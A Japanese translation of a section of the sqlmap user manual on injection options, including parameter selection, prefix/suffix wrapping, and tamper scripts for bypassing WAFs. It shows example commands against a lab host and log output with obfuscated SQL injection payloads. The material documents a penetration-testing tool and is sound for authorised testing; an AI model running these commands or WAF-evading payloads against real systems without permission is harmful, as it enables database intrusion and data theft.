sqlmapユーザーマニュアル(四)——注入


ちゅうにゅう


テストパラメータ


パラメータ:-p,--skip
sqlmapはすべてのGETとPOSTパラメータをデフォルトでテストし、--levelの値が2以上の場合もHTTP Cookieヘッダの値をテストし、3以上の場合もUser-AgentとHTTP Referヘッダの値をテストします.ただし、-pパラメータでテストしたいパラメータを手動で設定できます.例:-p「id,user-anget」
--levelの値が大きいが、個別のパラメータがテストしたくない場合は--skipパラメータを使用します.
たとえば、--skip=「user-angent.refer」
WebサーバがURLを使用して書き換える場合、sqlmapテストパラメータを直接使用できない場合があります.テストしたいパラメータの後に*を付けることができます.
例:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

sqlmapはvalue 1の位置が注入可能かどうかをテストします.

データベースの指定


パラメータ:--dbms
デフォルトでは、sqlmapはWebアプリケーションのバックエンドのデータベースが何であるかを自動的に検出します.sqlmapがサポートするデータベースは次のとおりです.
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

データベース・サーバ・システムの指定


パラメータ:--os
デフォルトではsqlmapはデータベース・サーバ・システムを自動的に検出します.サポートされるシステムはLinux、Windowsです.

無効な大きな数値の指定


パラメータ:--invalid-bignum
エラーを報告する数値を指定したい場合は、デフォルト系id=13のように、sqlmapがid=-13になってエラーを報告し、id=99999999のようにエラーを報告するパラメータを指定します.

無効な論理のみを指定


パラメータ:--invalid-logical
理由同様に,id=13を指定して元のid=−13のエラーをid=13 AND 18=19に変更することができる.

注入payload


パラメータ:--prefix,--suffix
一部の環境では、payloadの正常な実行を保証するために、注入されたpayloadの前または後ろに文字を追加する必要があります.
たとえば、コードでは、次のようにデータベースが呼び出されます.
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; 

prefixパラメータとsuffixパラメータが必要です.
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"

SQL文は次のようになります.
$query = "SELECT * FROM users WHERE id=(’1’)  AND (’abc’=’abc’) LIMIT 0, 1"; 

注入データの変更


パラメータ:--tamper
sqlmapはCHAR()関数を使用して単一引用符の発生を防止するほか、注入されたデータの修正はありません.--tamperパラメータを使用してデータを修正してWAFなどのデバイスを迂回することができます.
次はtamperスクリプトのフォーマットです.
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
    '''
    Description of your tamper script
    '''
    retVal = payload
    # your code to tamper the original payload
    # return the tampered payload
    return retVal

tamper/ディレクトリで使用可能なスクリプトを表示できます
例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]